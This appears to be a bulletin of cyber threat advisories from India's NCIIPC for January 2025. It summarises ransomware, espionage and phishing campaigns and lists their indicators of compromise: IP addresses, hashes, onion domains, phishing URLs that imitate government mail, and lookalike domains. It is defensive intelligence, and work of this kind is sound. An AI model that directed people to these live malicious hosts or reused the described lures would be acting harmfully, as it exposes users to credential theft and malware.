\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-007**

Avos ransomware group's variant  AvosLocker exploits Log4j CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 & CVE-2021-44832  vulnerabilities to deliver ransomware. Adversary uses spam email campaigns as an initial infection vector.  Adversary deploys CobaltStrike, Silver and multiple network scanners for malicious activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

198.46.215.243

**Hashes:**

e33692ea767ecab963058055f7c7e360d49f16e3

f309b61a8b005b5ce0a3fb58caaa798cfc95f5db

98ad97a6a19d89088a559ebc10fae2195178e144

3c1b20e18f359f2055db00cdfd0fa1484d863ce6

7902b08fb184cfb9580d0ad950baf048a795f7c1  (Earlier issued via Advisory No - TA-RAN-2024-08-14-008 dated 14 Aug 2024)

f5f16a3eb5c22fcbcc687bed0e0ca71ee8d7c7d6

09bcc8ad82291ac2e3bc7da9154d2cc2c77cbc83

e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69

597b525fe317d46d4902f29bf119f8f84ce6bbc2d579c32905591b8945d84fd5

3c19fee379b4882971834a3d38f3f8b86de560114274375560433778cd505748

cdd1c0adf0b8a27450ec07e0e752be89659692b0c4b7e012c29654625b423aa1

7739b027c8c920d2bc98c8eba545592fb2872db6018e6584b719d84f8e3a2976

1ffe69c174c1aad08ed848aec9045a46c85d7a69280703baa7f41365c22c1685

8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451 (Earlier issued via Advisory No - Adv/2023/Mar/008 dated 06 Mar 2023)

2865dabaa2b7b18958550c2fa6ace468d6da2dad50a9c4402259b5ffd2678774

b9165626c9e4a6c31fe69c524ae5fb0f94c57c8058f3536394dbacf19be72ec5

ED2F501408A7A6E1A854C29C4B0BC5648A6AA8612432DF829008931B3E34BF56 ( Earlier issued via Advisory No -  Adv/2023/Mar/039 dated 15 Mar 2023)

61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1

a94c0658939a1ed704bf86cfd36bb1f2913a82e2c235b0d5dc03d776a4028904

FEE88025DE42567468F9DB8D4EB73AE2CD9712A60EDD8CA86044C6C446F10FCB

6ad342fbfe679c66ecf31b7da1744cbf78c3dc9f4dbc61f255af28004e36a327 ( Earlier issued via Advisory No - Adv/2023/Dec/069 dated 28 Dec 2023 )

ad81b815715431dd0cbfe5f1a8ed5fe207a65059596caab1d2e377014aef8ab4

89145622d02c2449e317950d0570f6adec654dad23868f6d649f055e639e306f

04a8ae1c3e17b31d02e6f2513588638976ab8bdfbc52412cb59a02381587caeb

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-009**

RansomHubs serve as a central location where threat actors can exchange information, recruit affiliates and organize cybercriminal activities. These are financially motivated Ransomware as a Service (RaaS) group. It employs double extortion tactics, encrypting data while also stealing it and threatening to publish it unless a ransom is paid. RansomHub affiliates have also conducted data theft extortion attacks without encryption. The group targets diverse environments, including Windows, Linux, and ESXi systems. The group has attracted affiliates from prominent ransomware gangs, including LockBit, AlphV, and Scattered Spider, signaling its strong operational expertise.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

bfbbba7d18be1aa2e85390fa69a761302756ee9348b7343af6f42f3b5d0a939c

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-010**

Presence of Unknown Ransomware Variant is observed in Indian CyberSpace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

91.92.244.56:7777

94.156.71.158:8080

91.92.243.118:8080

139.99.123.196:80

45.141.87.59

66.240.205.34

139.99.123.196  ( Earlier issued via Advisory No -  Adv/2023/Jul/052 dated 31 Jul 2023 )

167.235.223.40

91.92.254.172

94.156.71.158

91.92.243.118

217.196.98.142

213.109.202.4

213.109.202.239

**Domains:**

de.zephyr.herominers.com:1123

 white.diicot.xyz:7777

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-16-020**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

139.5.0.167

120.86.255.62

112.94.97.223

120.85.115.196

124.246.120.50

179.236.93.246

36.227.181.119

49.142.208.33

141.98.11.119

120.85.118.175

47.16.34.36

59.89.204.145

120.86.253.130

139.5.0.122

113.111.247.239

89.40.79.86

185.233.117.25

112.94.98.34

77.239.216.95

122.97.214.196

26.168.14.104

152.42.234.215

141.98.10.40

178.72.71.57

139.5.11.155

139.5.0.224

120.86.254.126

31.220.1.144

220.198.241.20

102.212.40.118

103.163.215.73

**URLs:-**

http://220.158.158.159:50058/

http://123.12.25.182:48977/

http://45.178.250.172:11303/

http://117.209.89.69:59306/

http://177.163.248.230:60998/

http://120.138.12.188:57265/

http://117.215.57.30:43466/

http://115.56.44.134:51810/

http://42.225.59.110:36988/

http://112.239.99.57:44857/

http://117.213.88.11:45888/

http://117.222.251.61:50097/

http://175.107.0.30:43147/

http://49.86.34.7:59404/

http://117.248.30.143:35705/

http://45.164.178.88:11475/

http://117.219.38.73:35399/

http://59.184.255.240:41899/

http://45.164.178.45:10427/

http://59.88.234.246:34558/

http://121.233.173.12:36724/

http://39.74.28.220:43681/

http://117.255.88.16:50413/

http://59.88.13.34:40391/

http://102.33.172.22:42200/

http://103.199.202.244:48111/

http://112.254.186.221:48579/

http://45.164.178.124:11579/

http://117.209.84.163:34261/

http://45.164.178.24:11496/

http://59.89.227.197:39415/

http://120.61.197.183:47198/

http://124.235.239.62:56807/

http://117.217.136.129:43684/

http://59.89.68.95:38685/

http://59.184.250.246:57385/

http://218.91.9.65:59251/

http://27.106.158.131:46235/

http://110.178.8.184:39055/

http://103.199.200.140:32970/

http://117.219.44.34:45166/

http://182.88.189.230:50162/

http://101.186.182.132:55363/

http://175.162.6.35:41633/

http://36.249.52.206:59029/

http://117.223.3.11:38687/

http://117.202.83.84:59281/

http://117.210.217.64:60810/

http://59.184.243.155:36005/

http://117.209.83.227:56092/

http://168.70.122.166:39639/

http://45.164.177.135:11898/

http://45.164.178.184:11105/

http://27.215.81.19:44409/

http://42.86.55.32:49310/

http://125.45.65.175:43092/

http://103.203.72.74:55262/

http://115.61.116.190:57513/

http://192.21.160.230:58209/

http://123.11.75.88:55097/

http://175.165.82.220:37052/

http://39.81.208.198:43782/

http://61.3.31.85:54895/

http://36.26.144.48:55896/

http://1.70.14.161:54038/

http://110.182.96.57:53144/

http://223.12.187.190:46932/

http://223.8.98.68:50494/

http://58.208.63.250:58506/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-011**

It has been observed that FunkSec Ransomware, a Ransomware-as-a-Service (RaaS) model, is leveraging Artificial Intelligence (AI) to design & improve their malware tools. The latest update to FunkSec Ransomware, version 1.5, has been released on their DLS site, boasting a low detection rate and enhanced capabilities.

In addition to the ransomware itself, FunkSec offers several other malicious tools for sale or distribution on their platform:

* FDDOS DDoS Tool: A Python-based tool that enables Distributed Denial-of-Service (DDoS) attacks through HTTP or UDP flooding methods.
* JQRAXY\_HVNC: A tool designed for remote desktop management, automation, and data interaction, consisting of both a server and a client.
* Funkgenerate for Password Lists: A tool for smart password generation and scraping, capable of extracting emails and potential passwords from specified URLs while also suggesting new password ideas.

**MITRE Attack Identifier:**

T1486 - Data Encrypted for Impact

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c

66dbf939c00b09d8d22c692864b68c4a602e7a59c4b925b2e2bef57b1ad047bd

dcf536edd67a98868759f4e72bcbd1f4404c70048a2a3257e77d8af06cb036ac

b1ef7b267d887e34bf0242a94b38e7dc9fd5e6f8b2c5c440ce4ec98cc74642fb

5226ea8e0f516565ba825a1bbed10020982c16414750237068b602c5b4ac6abd

e622f3b743c7fc0a011b07a2e656aa2b5e50a4876721bcf1f405d582ca4cda22

20ed21bfdb7aa970b12e7368eba8e26a711752f1cc5416b6fd6629d0e2a44e5d

dd15ce869aa79884753e3baad19b0437075202be86268b84f3ec2303e1ecd966

7e223a685d5324491bcacf3127869f9f3ec5d5100c5e7cb5af45a227e6ab4603

**Domains:**

pke2vht5jdeninupk7i2thcfvxegsue6oraswpka35breuj7xxz2erid.onion

7ixfdvqb4eaju5lzj4gg76kwlrxg4ugqpuog5oqkkmgfyn33h527oyyd.onion

funknqn44slwmgwgnewne6bintbooauwkaupik4yrlgtycew3ergraid.onion

funkxxkovrk7ctnggbjnthdajav4ggex53k6m2x3esjwlxrkb3qiztid.onion

funkiydk7c6j3vvck5zk2giml2u746fa5irwalw2kjem6tvofji7rwid.onion

funk4ph7igelwpgadmus4n4moyhh22cib723hllneen7g2qkklml4sqd.onion

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-16-021**

Venom Spider, also known as Golden Chickens, is a threat actor offering Malware-as-a-Service (MaaS) tools like Venomlike, TerraLoader, TerraStealer, and TerraCryptor. These tools have been used by groups such as FIN6 and Cobalt. Two latest tools, RevC2 and Venom Loader, have been used by Venom Spider in their campaigns.

RevC2 is a backdoor malware that uses WebSockets for communication and can steal cookies, passwords, proxy network traffic, and execute remote code.

Venom Loader is tailored to each victim and loads additional payloads, such as Retdoor.

The attack chains often begin with a VenomLNK file containing an obfuscated script to download malicious payloads. The campaigns used lures like API documentation and cryptocurrency transactions. The malware communicates with Command & Control (C2) servers using JSON objects for tasks like password theft, screenshot capture, and executing commands. The persistence is maintained by adding malicious scripts to autorun registry keys.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

9b0b58aa10577244bc0e174d588ffa8d34a54a34c1b59371acba52772b584707

46a982ec4ea400f8df403fa8384e1752dca070bd84beef06284f1d412e159e67

cf45f68219c4a105fffc212895312ca9dc7f4abe37306d2f3b0f098fb6975ec7

153cd5a005b553927a94cc7759a8909bd1b351407d8d036a1bf5fcf9ee83192e

8e16378a59eb692de2c3a53b8a966525b0d36412bfd79c20b48c2ee546f13d04

f93134f9b4ee2beb1998d8ea94e3da824e7d71f19dfb3ce566e8e9da65b1d7a2

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-16-012**

Reference is made to the earlier NCIIPC Advisory on the above subject.

Cozy Bear aka APT29, an advanced & persistent cyber espionage group that uses tactics such as supply chain attacks (e.g., SolarWinds) and spearphishing. Adversary often uses tools like PowerShell, Windows Command Shell & Cloud APIs for execution and for obfuscation to avoid detection. For persistence, it modifies registry keys, uses scheduled tasks, and manipulates WMI event subscriptions. Cozy Bear escalates privileges by exploiting vulnerabilities and stealing domain or cloud accounts. Adversaries evade defenses by deleting files, timestomping and disabling security tools. For credential theft, the adversary targets private keys, browser-stored credentials, and uses Kerberoasting. During discovery, the adversary uses tools like Ad Find, and lateral movement is achieved via WMI. Data exfiltration occurs over secure Command & Control (C2) channels and through internal repositories like SharePoint. Cozy Bear's sophisticated techniques make them a significant ongoing threat in cyber espionage.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc

d3c6785e18fba3749fb785bc313cf8346182f532c59172b69adfb31b96a5d0af

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6

1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c

b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-17-007**

Microsoft released updates to address multiple vulnerabilities in its products for the month of Jan 2025. However, Microsoft provides patch information in the form of Knowledge Base (KB) Articles that are associated with one or more CVEs.

Please find below link for the monthly CVE - KB Correlation list of Jan 2025 for your perusal and necessary action.

https://www.nciipc.gov.in/advisories/CVE/CVE-KB/2025/Jan.html

The list consists of 159 CVEs and their corresponding KBs for the month of Jan 2025.

1. **TA-PHI-2025-01-17-010**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The Email contains attachment files named as Most Urgent Actionable Points of Senior Officers Meeting (SOM) held on 10th Jan'25.pdf” & "Do Letter Dept of Defence Urgent Dated 24 December.pdf" and "MoM of JS (Air) held on13Jan2025.pdf which contains a hyperlink with the title "View Document". Upon clicking, the hyperlink opens the phishing page of the NIC login page and seeks for username and password. The IP address and domain are currently active in compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.ministryofdefenceindia.link/service/home/?auth=co&id=29238&filename=Dte%20of%20planning%20MoM%20Brief%20Report%20Regarding%20ddpmod&charset=UTF-8

**Domain:-**

MinistryOfDefenceIndia.link

**IPs:-**

220.156.189.174

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-17-005**

APT SideCopy is known for deploying ActionRAT malware to target individuals and organizations. It aims to steal sensitive information and conduct espionage. This group is particularly notable for its spear-phishing campaigns and the deployment of custom malware to compromise target systems.

Adversary is actively targeting government and military officials to steal sensitive information through a combination of malicious techniques and sophisticated spear-phishing campaigns, which aim to trick officials into executing infected attachments.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domain:**

email.gov.in.mailindia.one

**IP:**

93.157.106.19

port 443

**Hash:**

69395ff473718956f651d06fcecd33f0

**URL:**

https://email.gov.in.mailindia.one/service/home/?auth=co&id=29238&filename=Lr%20to%20MSQAA%20%20Lett

**File:**

D.O. letter on Def Sec Briefing Dated 09-12-24.html

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-17-004**

MirrorFace, an Advanced Persistent Threat (APT) group is conducting spear-phishing campaigns, using malware such as LODEINFO and MirrorStealer to steal credentials and exfiltrate sensitive data. The group has exploited vulnerabilities in networking equipment, including Remote Code Execution (RCE) vulnerability (CVE-2023-28461) in Array Networks products, heap-based buffer overflow vulnerability (CVE-2023-27997) in  Fortinet products and Remote Code Execution (RCE) vulnerability in Citrix (CVE-2023-3519).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

139.84.136.105

139.84.131.62

45.32.116.146

45.77.252.85

208.85.18.4

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-17-011**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains an attachment file named "JS Navy(DMA) Action Letter Dated 09 January 2025.pdf" which contains a hyperlink with the title "View Document". Upon clicking, the hyperlink opens the phishing page of the NIC login page and seeks for username and password. The IP address and domain are currently active in compromising the user credentials/propagating malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.indiandefence.nl/service/home/?auth=co&id=29238&filename=DMA%20Report%20Regarding%20Navy%20projects%202025&charset=UTF-8

**Domain:-**

IndianDefence.nl

**IPs:-**

45.141.59.95

146.70.142.92

45.202.35.172

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-17-008**

A critical authentication bypass vulnerability (CVE-2024-55591) has been discovered in FortiOS and FortiProxy systems that allow adversaries to gain super-admin privileges. It exploits an alternate path or channel vulnerability, enabling unauthorized access to firewall management interfaces. This flaw has been linked to a series of cyberattacks targeting organizations with exposed firewalls on the public internet.

For successful exploitation of the vulnerability, the adversaries use a technique known as DCSync to retrieve credentials for lateral movement by utilizing SSL VPN access.

FortiProxy: Upgrade to Versions 7.0.20 or above & Upgrade to Versions 7.2.13 or above

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.55.158.47

87.249.138.47

155.133.4.175

37.19.196.65

149.22.94.37

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-20-006**

APT36 a.k.a. Transparent Tribe is a state-sponsored threat group focussing on cyber-espionage, particularly against government, defence, and military targets. Malware deployed by attackers can remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

Common Features of APT36 Threat Actor:

Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

Information Theft (documents, credentials, and personal data)

Remote Access

Credential Harvesting

Data Exfiltration

Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

176.56.238.177

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-20-022**

A Mirai-based botnet campaign is exploiting zero-day vulnerabilities in industrial routers, home routers, Digital Video Recorder (DVRs), and smart home devices to execute Distributed Denial-of-Service (DDoS) attacks for profit. The malware spreads using both public and private exploits, targeting internet-exposed devices that have weak security, such as default passwords or outdated firmware. These compromised devices are then used in large-scale DDoS attacks. The attacker exploited the router's default credentials, enabling an unauthenticated remote command injection.

The following devices are known to be targeted:

ASUS routers

Huawei routers

Neterbit routers

LB-Link routers

Four-Faith Industrial Routers

PZT cameras

Kguard DVR

Lilin DVR

Generic DVRs

Vimar smart home devices

Various 5G/LTE devices

It is essential to patch vulnerable internet-connected devices to safeguard the security of system or network, doing so helps protect data and prevents devices from unintentionally becoming part of a malicious botnet used to target other devices.

1. **TA-MAW-2025-01-20-021**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

139.5.1.178

122.96.50.133

103.199.200.207

115.55.15.142

206.189.192.69

103.247.52.150

220.198.240.191

139.5.11.114

103.200.86.44

103.15.254.78

220.198.241.63

27.43.206.175

96.62.214.248

122.97.138.123

102.212.40.118

102.212.40.138

103.15.254.14

142.171.9.169

139.5.1.62

103.15.254.152

185.233.117.25

27.0.217.145

5.181.159.16

120.85.113.8

27.47.1.151

45.152.64.235

103.163.215.73

61.2.104.204

125.27.181.252

120.85.118.53

152.42.234.215

96.62.214.10

120.85.183.137

27.43.205.49

77.239.216.196

36.96.14.82

31.220.1.144

139.5.11.155

27.122.61.190

60.28.212.219

134.209.102.237

139.5.1.211

45.76.199.195

27.43.206.248

178.72.71.57

175.107.0.1

119.129.205.173

156.59.50.235

27.47.3.210

45.74.36.37

122.96.31.153

**URLs:-**

http://115.63.42.199:35485/

http://42.86.55.32:49310/

http://112.64.155.152:57687/

http://117.215.49.153:50253/

http://45.164.177.215:10425/

http://45.164.177.1:10859/

http://42.203.68.72:49042/

http://117.215.52.225:55696/

http://45.230.66.45:10091/

http://102.33.38.208:52213/

http://102.33.132.27:35938/

http://117.208.161.27:48832/

http://45.115.89.67:40686/

http://59.92.195.127:45511/

http://219.156.58.244:43466/

http://113.228.112.13:60132/

http://139.5.1.133:40976/

http://223.8.98.68:50494/

http://61.1.29.219:60003/

http://172.32.204.58:58940/

http://183.152.16.136:45399/

http://139.5.1.55:35225/

http://59.184.251.98:49626/

http://222.94.190.235:34923/

http://59.182.76.217:49274/

http://223.10.68.119:50399/

http://42.231.71.226:40290/

http://223.8.236.36:42396/

http://117.206.74.253:38924/

http://192.21.160.230:58209/

http://61.54.17.186:35632/

http://45.230.66.50:11523/

http://117.215.51.218:44008/

http://110.182.118.192:40090/

http://103.199.180.31:40230/

http://59.88.224.233:53237/

http://45.178.251.25:10602/

http://119.185.240.134:35900/

http://45.164.177.119:10348/

http://59.184.51.99:42063/

http://110.182.96.57:53144/

http://222.138.169.125:55899/

http://117.209.83.249:44771/

http://103.203.72.126:53516/

http://117.248.41.14:48297/

http://122.99.43.3:53489/

http://45.164.177.17:10576/

http://223.8.50.154:60530/

http://182.112.109.204:47033/

http://114.226.105.55:45778/

http://102.33.42.12:46331/

http://117.235.101.35:36879/

http://61.0.208.43:45080/

http://42.239.254.188:47519/

http://123.244.89.64:38987/

http://222.141.224.253:39868/

http://221.14.191.76:51581/

http://42.234.99.61:58706/

http://222.189.169.220:44139/

http://124.132.46.218:37100/

http://58.208.93.222:48853/

http://221.15.160.187:35836/

http://190.109.227.93:50213/

http://222.137.119.108:59823/

http://115.48.46.108:52141/

http://42.55.34.184:60099/

http://117.209.82.76:56486/

http://45.164.177.134:10591/

http://117.222.253.187:51071/

http://114.230.57.120:39638/

http://103.247.52.169:60385/

http://117.210.217.64:60810/

http://117.235.150.243:50576/

http://45.164.177.135:11898/

http://217.208.170.249:47534/

http://115.61.116.190:57513/

http://175.107.3.171:44805/

http://39.81.208.198:43782/

http://117.196.166.140:56382/

http://123.10.139.248:53475/

http://45.164.177.68:11490/

http://117.208.222.206:48849/

http://125.45.65.175:43092/

http://103.208.105.11:43908/

http://220.115.42.152:33107/

http://182.117.115.63:51920/

http://117.209.213.149:46086/

http://59.184.246.173:39960/

http://113.90.49.225:55842/

http://27.215.78.232:37868/

http://45.164.177.236:11630/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-20-012**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

aamantran.mod.gkv.in

sancharsaathi.com

sancharsaathi.com

sancharsaathi.fov.in

sancharsaathi.gob.com

sancharsaathi.goov.in

sancharsaathi.gvo.in

sancharsaathideac.com

tafcop.sancharsaathi.govn.com

tafcopsancharsaathi.com

img.tafcop.sancharsaathi.dov.in

notexistssancharsaathi.ogv.in

sancharsaathi.goov.in

sancharsaathi.govn.com

sancharsaathi.gvo.in

smtpmail.ongc.info

hindustanpetroleum.co

ongcindia.org

pay.benefitstrsgov.info

email.benefitstrsgov.info

ciag.drdo.net

djbgov4u.co.in

drdo.cag.in

drdo.xdt.in

egov-erp.com

e-invitations.mod.in

email.dov.in

email.goiv.in

email.go.vin

eoffice-sparrow.drdo.co.in

ggov.in

govamazon.com

govdotin.com

govtmail.com
